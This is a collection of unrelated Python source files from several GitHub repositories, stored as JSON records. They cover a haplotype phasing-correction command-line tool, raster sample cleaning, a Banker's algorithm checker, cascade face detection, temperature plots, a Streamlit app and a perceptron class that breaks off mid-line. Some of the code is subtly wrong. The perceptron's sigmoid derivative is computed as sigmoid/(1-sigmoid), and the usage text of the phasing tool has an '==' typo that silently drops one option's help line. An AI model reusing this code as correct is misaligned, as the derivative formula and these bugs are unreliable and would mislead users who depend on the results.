reg_stat[\"start\"] = np.array([res[\"reg_start\"] for res in result])\n    reg_stat[\"end\"] = np.array([res[\"reg_end\"] for res in result])\n    reg_stat[\"name\"] = np.array([res[\"reg_name\"] for res in result])\n    reg_stat[\"n_flip\"] = np.array([res[\"n_flip\"] for res in result])\n    reg_stat[\"n_snp\"] = np.array([res[\"n_snp\"] for res in result])\n\n    reg_stat = reg_stat.sort_values(by = [\"chrom\", \"start\", \"end\", \"name\"])\n\n    snp_stat = pd.DataFrame([], columns = [\"chrom\", \"pos\", \"ref\", \"alt\", \\\n        \"ref_hap\", \"alt_hap\", \"ref_hap_new\", \"alt_hap_new\"])\n    for i in range(n_reg):\n        snp_stat = pd.concat([snp_stat, result[i][\"snp_meta\"]], axis = 0)\n\n    snp_stat = snp_stat.sort_values(by = [\"chrom\", \"pos\"])\n\n    return((snp_stat, reg_stat))\n\n\nclass Config:\n    def __init__(self, app):\n        self.app = app\n        self.def_epsilon_hap = 1e-2\n        self.def_n_init = 100\n        self.def_n_proc = 1\n\n        self.barcode_fn = None\n        self.AD_mtx_fn = None\n        self.DP_mtx_fn = None\n        self.out_dir = None\n        self.snp_fn = None\n        self.region_fn = None\n        self.sid = None\n        self.verbose = False\n\n        self.epsilon_hap = self.def_epsilon_hap\n        self.n_init = self.def_n_init\n        self.n_proc = self.def_n_proc\n\n\ndef load_cell_meta(barcode_fn):\n    \"\"\"Load Cell Meta Information\n\n    Parameters\n    ----------\n    barcode_fn: path to cell-barcode file without header [str]\n\n    Returns\n    -------\n    A dataframe containing 1 column [pd.DataFrame]: \n    cell, cell barcodes [str]\n    \"\"\"\n    cell_meta = pd.read_csv(barcode_fn, sep = \"\\t\", header = None)\n    cell_meta.columns = [\"cell\"]\n    return(cell_meta)\n\n\ndef load_region_meta(region_fn):\n    \"\"\"Load Region Meta Information\n\n    Parameters\n    ----------\n    region_fn: path to TSV file that containing 4 columns without header:\n        chrom, chromosome name [str]\n        start, 1-based start position of region, inclusive [int]\n        end, 1-based end position of region, inclusive [int]\n        name, region name or ID [str]\n\n    Returns\n    -------\n    A dataframe containing 4 column [pd.DataFrame]:\n        chrom [str], start [int], end [int], name [str]\n    \"\"\"\n    region_meta = pd.read_csv(region_fn, sep = \"\\t\", header = None)\n    region_meta.columns = [\"chrom\", \"start\", \"end\", \"name\"]\n    region_meta[\"chrom\"] = region_meta[\"chrom\"].astype(str)\n    region_meta[\"chrom\"] = region_meta[\"chrom\"].str.replace(  \\\n        \"^chr\", \"\", regex = True)\n    return(region_meta)\n\n\ndef load_snp_meta(snp_fn):\n    \"\"\"Load SNP Meta Information\n\n    Parameters\n    ----------\n    snp_fn: path to VCF file that containing the phased GT [str]\n\n    Returns\n    -------\n    A dataframe containing 6 columns [pd.DataFrame]: \n    chrom, chromosome name [str]\n    pos, 1-based genomic position of SNP [int]\n    ref, REF allele, one of A/C/G/T/N [str]\n    alt, ALT allele, one of A/C/G/T/N [str]\n    ref_hap, haplotype ID of REF allele [int]\n    alt_hap, haplotype ID of ALT allele [int]\n    \"\"\"\n    snp_meta = pd.read_csv(snp_fn, sep = \"\\t\", comment = \"#\", header = None)\n    snp_meta = snp_meta[[0, 1, 3, 4, 9]]\n    snp_meta.columns = [\"chrom\", \"pos\", \"ref\", \"alt\", \"gt\"]\n    snp_meta[\"chrom\"] = snp_meta[\"chrom\"].astype(str)\n    snp_meta[\"chrom\"] = snp_meta[\"chrom\"].str.replace(\"^chr\", \"\", regex = True)\n    snp_meta[\"gt\"] = snp_meta[\"gt\"].str.split(\":\").str[0]\n    snp_meta[\"ref_hap\"] = snp_meta[\"gt\"].str.split(\"|\").str[0]\n    snp_meta[\"ref_hap\"] = np.array(snp_meta[\"ref_hap\"], dtype = \"int\")\n    snp_meta[\"alt_hap\"] = snp_meta[\"gt\"].str.split(\"|\").str[1]\n    snp_meta[\"alt_hap\"] = np.array(snp_meta[\"alt_hap\"], dtype = \"int\")\n    snp_meta = snp_meta.drop(\"gt\", axis = 1)\n    return(snp_meta)\n\n\ndef load_AD(AD_mtx_fn):\n    AD = sp.io.mmread(AD_mtx_fn).tocsr()\n    return(AD)\n\n\ndef load_DP(DP_mtx_fn):\n    DP = sp.io.mmread(DP_mtx_fn).tocsr()\n    return(DP)\n\n\ndef usage(conf, fp = sys.stderr):\n    s =  \"\\n\" \n    s += \"Usage: %s <options>\\n\" % conf.app\n    s += \"\\n\" \n    s += \"Options:\\n\"\n    s += \"  -b, --barcode FILE     A plain file listing all effective cell barcode.\\n\"\n    s += \"  -p, --nproc INT        Number of processes [%d]\\n\" % conf.def_n_proc\n    s += \"  -A, --AD FILE          AD sparse matrix file.\\n\"\n    s += \"  -D, --DP FILE          DP sparse matrix file.\\n\"\n    s += \"  -O, --outdir DIR       Output directory.\\n\"\n    s == \"  -P, --phasedSNP FILE   A VCF file listing phased SNPs (i.e., containing phased GT).\\n\"\n    s += \"  -R, --region FILE      A TSV file with 4 columns <chrom> <start> <end> <name>.\\n\"\n    s += \"  -S, --sid STR          Sample ID.\\n\"\n    s += \"  -h, --help             Print this message and exit.\\n\"\n    s += \"  -v, --verbose          If set, print detailed logging information.\\n\"\n    s += \"  --epsilonHAP FLOAT     Estimated error rate of reference phased haplotypes [%e]\\n\" % conf.def_epsilon_hap\n    s += \"  --ninit INT            Number of random initialization [%d]\\n\" % conf.def_n_init\n    s += \"\\n\"\n\n    fp.write(s)\n\n\ndef check_args(conf):\n    func = \"check_args\"\n\n    if conf.barcode_fn is None:\n        sys.stderr.write(\"[E::%s] barcode file is needed!\\n\" % func)\n        return(-1)\n\n    if conf.AD_mtx_fn is None:\n        sys.stderr.write(\"[E::%s] AD matrix file is needed!\\n\" % func)\n        return(-1)\n\n    if conf.DP_mtx_fn is None:\n        sys.stderr.write(\"[E::%s] DP matrix file is needed!\\n\" % func)\n        return(-1)\n\n    if conf.out_dir is None:\n        sys.stderr.write(\"[E::%s] output dir is needed!\\n\" % func)\n        return(-1)\n    elif not os.path.isdir(conf.out_dir):\n        os.mkdir(conf.out_dir)\n\n    if conf.snp_fn is None:\n        sys.stderr.write(\"[E::%s] SNP file is needed!\\n\" % func)\n        return(-1)\n\n    if conf.region_fn is None:\n        sys.stderr.write(\"[E::%s] region file is needed!\\n\" % func)\n        return(-1)\n\n    return(0)\n\n\ndef quit(main_func, cmdline, start_time, state = 0, err_msg = None):\n    func = main_func\n\n    if state >= 0:\n        sys.stdout.write(\"[I::%s] All Done!\\n\" % func)\n    else:\n        sys.stderr.write(\"[E::%s] %s\\n\" % (func, err_msg))\n        sys.stdout.write(\"[E::%s] Running program failed.\\n\" % func)\n        sys.stdout.write(\"[E::%s] Quiting ...\\n\" % func)\n\n    sys.stdout.write(\"[I::%s] CMD: %s\\n\" % (func, cmdline))\n\n    end_time = time.time()\n    time_str = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(end_time))\n    sys.stdout.write(\"[I::%s] end time: %s\\n\" % (func, time_str))\n    sys.stdout.write(\"[I::%s] time spent: %.2fs\\n\" % (func, end_time - start_time))\n    sys.stdout.write(\"\\n\")\n\n\ndef main_rpc(argv):\n    func = \"main_rpc\"\n\n    start_time = time.time()\n\n    conf = Config(app = \"rpc.py\")\n    if len(argv) <= 2:\n        usage(conf, sys.stderr)\n        sys.exit(1)\n\n    opts, args = getopt.getopt(argv[2:], \n        \"-b:-p:-A:-D:-O:-P:-R:-S:-h-v\", \n        [\n            \"barcode=\", \"nproc=\", \n            \"AD=\", \"DP=\",\n            \"outdir=\", \"phasedSNP=\", \n            \"region=\",  \"sid=\", \"help\", \"verbose\",\n            \"epsilonHAP=\", \"ninit=\"\n        ])\n\n    for op, val in opts:\n        if len(op) > 2:\n            op = op.lower()\n        if op in   (\"-b\", \"--barcode\"): conf.barcode_fn = val\n        elif op in (\"-p\", \"--nproc\"): conf.n_proc = int(val)\n        elif op in (\"-A\", \"--ad\"): conf.AD_mtx_fn = val\n        elif op in (\"-D\", \"--dp\"): conf.DP_mtx_fn = val\n        elif op in (\"-O\", \"--outdir\"): conf.out_dir = val\n        elif op in (\"-P\", \"--phasedsnp\"): conf.snp_fn = val\n        elif op in (\"-R\", \"--region\"): conf.region_fn = val\n        elif op in (\"-S\", \"--sid\"): conf.sid = val\n        elif op in (\"-h\", \"--help\"): usage(conf); sys.exit(1)\n        elif op in (\"-v\", \"--verbose\"): conf.verbose = True\n        elif op in (\"--epsilonhap\"): conf.epsilon_hap = float(val)\n        elif op in (\"--ninit\"): conf.n_init = int(val)\n\n    sys.stdout.write(\"\\n\")\n    time_str = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(start_time))\n    sys.stdout.write(\"[I::%s] start time: %s.\\n\" % (func, time_str))\n\n    cmdline = \" \".join(argv)\n    sys.stdout.write(\"[I::%s] CMD: %s\\n\" % (func, cmdline))\n\n    # check args\n    sys.stdout.write(\"[I::%s] check args ...\\n\" % func)\n\n    if check_args(conf) < 0:\n        quit(func, cmdline, start_time, state = -3, \n             err_msg = \"check_args failed!\")\n        return(-3)\n\n    # load data\n    sys.stdout.write(\"[I::%s] load data ...\\n\" % func)\n\n    AD = load_AD(conf.AD_mtx_fn)\n    DP = load_DP(conf.DP_mtx_fn)\n    cell_meta = load_cell_meta(conf.barcode_fn)\n    snp_meta = load_snp_meta(conf.snp_fn)\n    reg_set = load_region_meta(conf.region_fn)\n\n    adata = ad.AnnData(AD, obs = snp_meta, var = cell_meta)\n    adata.layers[\"AD\"] = AD\n    adata.layers[\"DP\"] = DP\n\n    n_snp, n_cell = AD.shape\n    n_reg = reg_set.shape[0]\n    sys.stdout.write(\"[I::%s] %d SNPs, %d cells, %d regions loaded.\\n\" % \\\n                     (func, n_snp, n_cell, n_reg))\n\n    # reference phasing correction\n    sys.stdout.write(\"[I::%s] reference phasing correction ...\\n\" % func)\n\n    snp_stat, reg_stat = multi_reg_rpc(\n            adata, reg_set,\n            n_init = conf.n_init, epsilon_hap = conf.epsilon_hap,\n            n_proc = conf.n_proc, verbose = conf.verbose         \n        )\n\n    if snp_stat is None or reg_stat is None:\n        quit(func, cmdline, start_time, state = -5,\n             err_msg = \"reference phasing correction for multiple regions failed!\")\n        return(-5)\n\n    # output\n    sys.stdout.write(\"[I::%s] output results ...\\n\" % func)\n\n    out_fn_snp = os.path.join(conf.out_dir, \"%s_snp_stat.tsv\" % conf.sid)\n    out_fn_reg = os.path.join(conf.out_dir, \"%s_region_stat.tsv\" % conf.sid)\n    snp_stat.to_csv(out_fn_snp, sep = \"\\t\", index = False)\n    reg_stat.to_csv(out_fn_reg, sep = \"\\t\", index = False)\n    \n    sys.stdout.write(\"[I::%s] results saved to dir '%s'.\\n\" % \\\n        (func, conf.out_dir))\n\n    # quit\n    quit(func, cmdline, start_time, state = 0)\n    return(0)\n\n\nif __name__ == \"__main__\":\n    main_rpc(sys.argv)\n","repo_name":"hxj5/xcltk","sub_path":"xcltk/baf/rpc.py","file_name":"rpc.py","file_ext":"py","file_size_in_byte":24284,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"37936048620","text":"\nfrom libs.Lib_raster import  deletePixelsSuperpositionMasks, mergeListRaster, updateReferenceProjection \nimport os\n\n###########################################################################################################################################\n# FONCTION cleanCoverClasses()                                                                                                            #\n###########################################################################################################################################\ndef cleanCoverClasses(img_ref, mask_samples_macro_input_list, image_samples_merged_output):\n    \"\"\"\n    Rôle : nettoie les pixels d'apprentissage de classes différentes se recouvrants\n\n    Paramètre :\n        img_ref : image Pléiades de référence\n        mask_samples_macro_input_list : liste des images des échantillons d'apprentissage\n        image_samples_merged_output : fichier raster de sortie contenant les échantillons en une seule bande\n\n    \"\"\"\n    # Creation des fichiers temporaires de sortie si ils ne sont pas spécifier\n\n    length_mask = len(mask_samples_macro_input_list)\n    images_mask_cleaned_list = []\n    images_list_out =[] \n    temporary_files_list = []\n    repertory_output_tmp_list = []\n    extension_raster =  os.path.splitext(image_samples_merged_output)[1]\n\n    #Le repertoire intermédiaire est situé dans le dossier où se sauvegarde le résultat \n    repertory_base_output = os.path.dirname(image_samples_merged_output)\n    filename = os.path.splitext(os.path.basename(image_samples_merged_output))[0]\n    \n    for macroclass_id in range(length_mask):\n\n        repertory_output = repertory_base_output + os.sep + os.path.splitext(os.path.basename(mask_samples_macro_input_list[macroclass_id]))[0]\n        if not os.path.isdir(repertory_output):\n            os.makedirs(repertory_output)\n        repertory_output_tmp_list.append(repertory_output)\n        samples_image_input = mask_samples_macro_input_list[macroclass_id]\n        filename = os.path.splitext(os.path.basename(samples_image_input))[0]\n        image_mask_cleaned =  repertory_output + os.sep + filename + \"mask_clean\" + extension_raster\n        images_mask_cleaned_list.append(image_mask_cleaned)\n        image_out = repertory_output + os.sep + filename + \"cleaned\" + extension_raster\n        images_list_out.append(image_out)\n        \n\n\n    # Suppression des pixels possédant la même valeur binaire sur plusieurs images\n    print(mask_samples_macro_input_list)\n    print(images_mask_cleaned_list)\n    if length_mask > 1:\n        deletePixelsSuperpositionMasks(mask_samples_macro_input_list, images_mask_cleaned_list)\n    else:\n        images_mask_cleaned_list = mask_samples_macro_input_list\n\n    #Attribution des valeurs de label aux masques de chaque classe pour les pixels valant 1\n    length = len(images_mask_cleaned_list)  \n    for img in range(len(images_mask_cleaned_list)):\n        command = \"otbcli_BandMath -il %s -out %s -exp '(im1b1==1)?%s:0'\" %(images_mask_cleaned_list[img],images_list_out[img], str(img+1))\n        exitCode = os.system(command)\n        if exitCode != 0:\n            print(command)\n\n    mergeListRaster(images_list_out, image_samples_merged_output, \"uint16\")\n    updateReferenceProjection(img_ref, image_samples_merged_output)\n\n    return\n","repo_name":"CEREMA/dterocc.sco.gus","sub_path":"app/CleanCoverClasses.py","file_name":"CleanCoverClasses.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"27972568538","text":"import numpy as np\r\n\r\n###############################taking input##################################################################################################################\r\ndef takeInput():\r\n    try:\r\n        number_of_processes = int(input(\"enter number of processes: \"))\r\n        number_of_resources = int(input(\"enter number of resources: \"))\r\n    except ValueError:\r\n        print('invalid input')\r\n        return -1\r\n    \r\n    \r\n    \r\n    allocation = []   #\r\n    maxx =  []      # \r\n    available = []  #\r\n    \r\n    print(\"please enter the allocation matrix row by row\")\r\n    \r\n    \r\n    \r\n    for i in range(number_of_processes):\r\n        s = input('enter allocated resources of p'+str(i)+', separated by spaces: ').split()\r\n        \r\n        row = []\r\n            \r\n        for integer in s:\r\n            row.append(int(integer))\r\n    \r\n        \r\n        if len(row) != number_of_resources:\r\n            print(\"invalid allocation matrix\")\r\n            print(' ')\r\n            return -1\r\n            \r\n        allocation.append(row)\r\n    \r\n    \r\n    print('  ')\r\n    print(\"please enter the Max matrix row by row\")\r\n    \r\n    for i in range(number_of_processes):\r\n        s = input('enter max resources of p'+str(i)+', separated by spaces: ').split()\r\n        \r\n        row = []\r\n            \r\n        for integer in s:\r\n            row.append(int(integer))\r\n    \r\n        if len(row) != number_of_resources:\r\n            print(\"invalid Max matrix\")\r\n            print(' ')\r\n            return -1\r\n    \r\n        maxx.append(row)\r\n    \r\n    print(' ')\r\n    s = input('enter available vector separated by spaces: ').split()\r\n           \r\n    for integer in s:\r\n        available.append(int(integer))\r\n\r\n    if len(available) != number_of_resources:\r\n            print(\"invalid avaliable vector\")\r\n            print(' ')\r\n            return -1\r\n\r\n    return allocation,maxx,available,number_of_processes,number_of_resources\r\n############################################################################################################################################################\r\n\r\n#################################calculate Need matrix #####################################################################################################\r\ndef getNeed(allocation,maxx,avaliable):\r\n    Allocation = np.array(allocation)\r\n    Max = np.array(maxx)\r\n    Avaliable = np.array(avaliable)\r\n    Need = Max - Allocation\r\n    return Allocation,Avaliable,Need\r\n############################################################################################################################################################\r\n\r\ndef arrayLessThanOrEqual(arr1,arr2,size):\r\n    flag = True\r\n    for i in range(size):\r\n        if arr1[i] > arr2[i]:flag = False\r\n    return flag\r\n    \r\n\r\n################################################################safety######################################################################################\r\ndef safety(Allocation,Avaliable,Need,number_of_processes,number_of_resources):\r\n    work = np.copy(Avaliable)\r\n    finish = np.zeros(shape=(number_of_processes,1),dtype=bool)\r\n    sequence = []\r\n    i = 0\r\n    count = 0\r\n    while count < number_of_processes*2:\r\n        index = 404\r\n        if i >= number_of_processes:i=0\r\n    \r\n\r\n        if finish[i] == False and arrayLessThanOrEqual(Need[i,:],work,number_of_resources):\r\n            #print(\"Im here\")\r\n            index = i\r\n            sequence.append(i)\r\n        else:\r\n            count = count+1\r\n            i = i+1\r\n            continue\r\n\r\n\r\n        \r\n        work = work + Allocation[i,:]\r\n        finish[i] = True\r\n        count = count+1\r\n        i = i+1\r\n\r\n\r\n\r\n    \r\n    \r\n    safe = True\r\n    \r\n    for x in finish:\r\n        if x == False:safe=False\r\n    \r\n    return safe,sequence\r\n############################################################################################################################################################    \r\n\r\n##############################################################resource_request##############################################################################\r\ndef resource_request(Allocation,Avaliable,Need,number_of_processes,number_of_resources):\r\n    try:\r\n        process = int(input(\"enter the process number: \"))\r\n        request = []\r\n        s = input('enter request vector separated by spaces: ').split()\r\n    except ValueError:\r\n        return 404\r\n    \r\n           \r\n    for integer in s:\r\n        request.append(int(integer))\r\n\r\n\r\n    \r\n\r\n    condition1 = arrayLessThanOrEqual(request,Need[process,:],number_of_resources)\r\n    condition2 = arrayLessThanOrEqual(request,Avaliable,number_of_resources)\r\n   \r\n    if condition1 == False:\r\n        print(\"Error,process has exceed its maximum claim\")\r\n        return 404\r\n\r\n    if condition2 == False:\r\n        print(\"process must wait till resources are avaliable\")\r\n        return 404\r\n\r\n    \r\n\r\n\r\n    Request = np.array(request)\r\n\r\n\r\n\r\n    Avaliable = Avaliable - Request\r\n\r\n    Allocation[process,:] = Allocation[process,:] + Request\r\n\r\n    Need[process,:] = Need[process,:] - Request\r\n\r\n    safe,sequence = safety(Allocation,Avaliable,Need,number_of_processes,number_of_resources)\r\n\r\n    return safe,sequence,process\r\n############################################################################################################################################################\r\n\r\n\r\nwhile True:\r\n    \r\n    try:\r\n        allocation,maxx,available,number_of_processes,number_of_resources = takeInput()\r\n    except TypeError:\r\n        continue\r\n\r\n\r\n    \r\n\r\n    Allocation,Avaliable,Need = getNeed(allocation,maxx,available)\r\n\r\n    \r\n    \r\n    print(\"Need matrix :\")\r\n    print(Need)\r\n    \r\n    while True:\r\n        choose = input(\"enter 'S' to check safe state, or enter 'R' to chech immediate request safety, and any key to enter new input \")\r\n\r\n        if choose == 'S':\r\n            safe,sequence = safety(np.copy(Allocation),np.copy(Avaliable),np.copy(Need),number_of_processes,number_of_resources)\r\n\r\n            p_sequence= []\r\n\r\n            for num in sequence:\r\n                p_sequence.append(\"p\"+str(num))\r\n\r\n            if safe:\r\n                print(\"Yes , Safe state <\",p_sequence,\">\")\r\n            else:\r\n                print('Not safe')\r\n\r\n    \r\n    \r\n        elif choose == 'R':\r\n            try:\r\n                safe,sequence,process = resource_request(np.copy(Allocation),np.copy(Avaliable),np.copy(Need),number_of_processes,number_of_resources)\r\n            except TypeError:\r\n                print(\"Not safe\")\r\n                print(' ')\r\n                continue\r\n            \r\n            \r\n            p_sequence= []\r\n\r\n            for num in sequence:\r\n                p_sequence.append(\"p\"+str(num))\r\n\r\n\r\n            if safe:\r\n                print(\"Yes request can be granted with safe state , Safe state <P\"+str(process)+\"req\",p_sequence,\">\")\r\n                print(' ')\r\n            else:\r\n                print('Not safe')\r\n                print(' ')\r\n    \r\n        else:\r\n            break\r\n    \r\n\r\n\r\n    \r\n\r\n    \r\n    \r\n    \r\n    \r\n\r\n\r\n","repo_name":"mahmoud791/Banker-algorithm","sub_path":"banker.py","file_name":"banker.py","file_ext":"py","file_size_in_byte":7076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"5814540728","text":"###########################################################################\n#      Computer Vision Project - Facial Expression classification         #\n#                   *Phase 1 - Cascade Face Detection *                   #\n#                             Taha Samavati                               #\n###########################################################################\n\nimport cv2\nimport numpy as np\n\n# Note:we have trained couple of models , other models are also kept in same directory.\nface_detection_model_path = './models/haarcascade/trained_cascade_500.xml'\nface_detector = cv2.CascadeClassifier(face_detection_model_path)\n\n# change to TRUE if you want to evaluate model on webcam video.\nFLAG_VIDEO=True\n\nif FLAG_VIDEO:\n\n    cap = cv2.VideoCapture(0)\n\n    while 1:\n        ret, I = cap.read()\n        gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n\n        faces = face_detector.detectMultiScale(gray, 1.1,5)\n        for (x, y, w, h) in faces:\n            # Draw rectangle over face\n            cv2.rectangle(I, (x, y), (x + w, y + h), (255, 0, 0), 2)\n            cv2.putText(I, \"Face\", (x,y-10),\n                        cv2.FONT_HERSHEY_SIMPLEX, 0.45,\n                        (255, 255, 255), 2)\n\n        cv2.imshow('Cascade Detection', I)\n        key = cv2.waitKey(50)\n        if key == ord('q'):\n            break\n\n    cap.release()\n    cv2.destroyAllWindows()\n\nelse:\n    cap = cv2.VideoCapture(0)\n\n    for i in range(12):\n        I = cap.read()[1]\n\n    gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n\n    faces = face_detector.detectMultiScale(gray, 1.1, 5)\n    for (x, y, w, h) in faces:\n        # Draw rectangle over face\n        cv2.rectangle(I, (x, y), (x + w, y + h), (255, 0, 0), 2)\n        cv2.putText(I, \"Face found\", (x, y - 10),\n                    cv2.FONT_HERSHEY_SIMPLEX, 0.45,\n                    (255, 255, 255), 2)\n\n    cv2.imshow('Cascade Detection', I)\n    key = cv2.waitKey(0)\n    if key == ord('q'):\n        cap.release()\n        cv2.destroyAllWindows()\n","repo_name":"celestialtaha/facial_expression_recognition_cnn","sub_path":"cascade_detection.py","file_name":"cascade_detection.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"29418091151","text":"#!/usr/bin/env python\n\"\"\"Make some overview plots for every month\n-\n*author*: Johannes Röttenbacher, Janosch Walde\n\"\"\"\n\n# %% import modules\nimport os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pytz\n\n# %% define paths\ndata_path = \"/home/janosch/Dokumente/Meteotracker/Daten/processed/\"\nplot_path = \"/home/janosch/Dokumente/Meteotracker/Daten/plots/\"\ndate = \"all\"  # \"2022-05-18\"  # yyyy-mm-dd or all\nfiles = os.listdir(data_path)\n\n# %% read in data\nif date == \"all\":\n    df = pd.concat([pd.read_csv(f\"{data_path}/{file}\") for file in files])\nelse:\n    file = [f for f in files if date in f][0]\n    df = pd.read_csv(f\"{data_path}/{file}\")\n\ndf.loc[:, \"time\"] = pd.to_datetime(df[\"time\"])  # convert time column to type datetime#\nmy_timezone = pytz.timezone('Europe/Berlin')\ndf['time'] = df['time'].dt.tz_convert(my_timezone)\n\n# %% filter out values with speed below 10 km/h\ndf = df[df.speed > 10]\n\n# %% select date range\ndf = df[df.time.dt.month == 8]  # select only one month\nmonth = 'August'\n\n# %% calculate some statistics\nat_mean, at_min, at_max = df.air_temperature.mean(), df.air_temperature.min(), df.air_temperature.max()\n\n# %% get temperature distribution\ndf.air_temperature.hist(bins=40, color=\"#CC6677\", figsize=(10, 6))\nplt.axvline(at_min, color=\"#0072B2\", label=f\"Minimum {at_min:2.1f} °C\", linewidth=4)\nplt.axvline(at_mean, color=\"#009E73\", label=f\"Mittelwert {at_mean:2.1f} °C\", linewidth=4)\nplt.axvline(at_max, color=\"#D55E00\", label=f\"Maximum {at_max:2.1f} °C\", linewidth=4)\nplt.xlabel(\"Temperatur (°C)\")\nplt.ylabel(\"Anzahl Messwerte\")\nplt.legend()\nplt.tight_layout()\n# plt.show()\nplt.savefig(f\"{plot_path}/{month}_temperaturverteilung.png\", dpi=100)\nplt.close()\n\n# %% get time distribution\ndf.time.dt.hour.hist(bins=range(0, 25), color=\"#44AA99\", figsize=(10, 6))\nplt.xticks(range(25))\nplt.xlabel(\"Uhrzeit (Stunde)\")\nplt.ylabel(\"Anzahl Messwerte\")\nplt.title(\"Zeitliche Verteilung der Messwerte\")\nplt.tight_layout()\n# plt.show()\nplt.savefig(f\"{plot_path}/{month}_messzeitverteilung.png\", dpi=100)\nplt.close()\n\n# %% calculate monthly hourly mean\ndf_1 = df\ndf_1[\"hour\"] = df.time.dt.hour\ndf_grouped = df_1.loc[:, [\"air_temperature\", \"hour\"]].groupby(\"hour\").agg([np.mean, np.std]).reset_index()\ndf_grouped.columns = [\"hour\", \"mean\", \"std\"]  # drop multi index for columns\n\n# %% plot time against temperature\ndf_grouped.plot.bar(x=\"hour\", y=\"mean\", figsize=(10, 6), color=\"#CC6677\", yerr=\"std\", capsize=4, legend=None)\nplt.xlabel(\"Uhrzeit (Stunde)\")\nplt.ylabel(\"Temperatur (°C)\")\nplt.title(\"Monatliches Mittel der stündlichen Mittel mit Standardabweichung\")\nplt.grid()\nplt.tight_layout()\n# plt.show()\nplt.savefig(f\"{plot_path}/{month}_monatliche_stündliche_mittlere_temperatur.png\", dpi=100)\nplt.close()\n\n# %% make a boxplot of temperature grouped by hour\ndf_1.boxplot(\"air_temperature\", by=\"hour\", figsize=(10, 6))\nplt.xlabel(\"Uhrzeit (Stunde)\")\nplt.ylabel(\"Temperatur (°C)\")\nplt.title(\"Boxplot der Lufttemperatur\")\nplt.suptitle(\"\")\nplt.tight_layout()\n# plt.show()\nplt.savefig(f\"{plot_path}/{month}_stündliche_temperatur_boxplot.png\", dpi=100)\nplt.close()\n","repo_name":"j4nosch/Analyse","sub_path":"Analyse/ueberblick_monat.py","file_name":"ueberblick_monat.py","file_ext":"py","file_size_in_byte":3113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43087162056","text":"from helper import *\n\nst.title('Visual Similarity Recommendation')\n\nst.image('images/header_image.jpg', use_column_width=True)\n\nst.success(\n    \"\"\"\n    This app takes in an image of a car and recommends 4 similar images from a bunch of car images which I have randomly \n    curated. Typically the model will try to find similar images by chassis, if there are none then it tries to find \n    images with similar backgrounds and object orientation. Similarity checking is strictly restricted to images in \n    storage.\n\n    ###### Note:\n    For best results, the car image uploaded should be of either class Sedan, Coupe, SUV or Truck (Pickup Truck) as the \n    underlying model is intended to work for either one of those car classes and the image storage used for this app \n    only contains cars of those classes. Unsure what class the car in your image belongs to? simply use my \n    [car classifier](https://share.streamlit.io/oreolorun/image-recognition/main/data_app.py) \n    or check out the car descriptions in the app.\n    \n    Although this app has some logic to handle adversarial attacks, it is still advised to only upload images of cars as\n    the underlying model is only intended for that use case and adversarial images (images not of cars) will only result \n    in wrong recommendations as expected. \n    \"\"\"\n)\n\nst.write('#### Upload Section')\n\nuploaded = st.file_uploader('Upload image here', type=['jpg', 'jpeg', 'png'])\n\noutput(uploaded=uploaded)\n","repo_name":"Oreolorun/Visual-Similarity","sub_path":"similarity_app.py","file_name":"similarity_app.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15976959986","text":"def get_myfile(argv):\n    try:\n        file_path = argv[1]\n    except IndexError:\n        file_path = \"test.txt\"\n\n    try:\n        with open(file_path, 'r') as my_file:\n            text = my_file.read()\n    except (FileNotFoundError, NameError) as err:\n        try:\n            with open(\"test.txt\", mode='w+') as my_file:\n                my_file.write('this file was created because your file was not found!')\n                text = my_file.read()\n        except IOError as err:\n            return None\n    return text\n\n\ndef no_permission_routine():\n    print('File could not been created!\\nCheck your permission!')\n    exit(1)\n","repo_name":"HeitorMP/ZTM-Complete-Python-Developer","sub_path":"Section13-File-IO-Translator/file_utils/check_files.py","file_name":"check_files.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"23453204353","text":"import numpy as np\n\ndef sigmoid(x, deriv=False):\n    \"\"\"\n    Represents the non-linear function where `deriv` computes the derivative\n    of this function.\n    \"\"\"\n    if deriv is True:\n        return sigmoid(x) / (1-sigmoid(x))\n\n    return 1 / (1+np.exp(-x))\n\nclass Perceptron:\n    \"\"\"\n    A class representing a three-layer perceptron.\n    \"\"\"\n    def __init__(self, n, h, m, beta=0.1, alpha=0.1):\n        \"\"\"\n        Initializes a `Perceptron` instance with the following parameters:\n\n        - `n` — number of input neurons;\n        - `h` — number of hidden neurons;\n        - `m` — number of output neurons;\n        - `beta` — convergence step for the hidden layer;\n        - `alpha` — convergence step for the output layer.\n        \"\"\"\n        self.v = 2*np.random.random((h, n)) - 1\n        self.q = 2*np.random.random((h, 1)) - 1\n\n        self.w = 2*np.random.random((m, h)) - 1\n        self.t = 2*np.random.random((m, 1)) - 1\n\n        self.beta = beta\n        self.alpha = alpha\n\n    def feed_forward(self, x):\n        \"\"\"\n        Returns the response of the perceptron to `x`.\n        \"\"\"\n        g = sigmoid(np.dot(self.v, x) + self.q)\n        y = sigmoid(np.dot(self.w, g) + self.t)\n\n        return y\n\n    def gradient_descent(self, training_data):\n        \"\"\"\n        Computes negative gradient and applies it to the weights and biases of the perceptron using the stochastic gradient descent method.\n        \"\"\"\n        nabla_w = np.zeros(self.w.shape)\n        nabla_t = np.zeros(self.t.shape)\n\n        nabla_v = np.zeros(self.v.shape)\n        nabla_q = np.zeros(self.q.shape)\n\n        n = len(training_data)\n\n        for x, y in training_data:\n            w, t, v, q = self.back_propagation(x, y)\n\n            nabla_w += w\n            nabla_t += t\n\n            nabla_v += v\n            nabla_q += q\n\n        self.w -= self.alpha * nabla_w/n\n        self.t -= 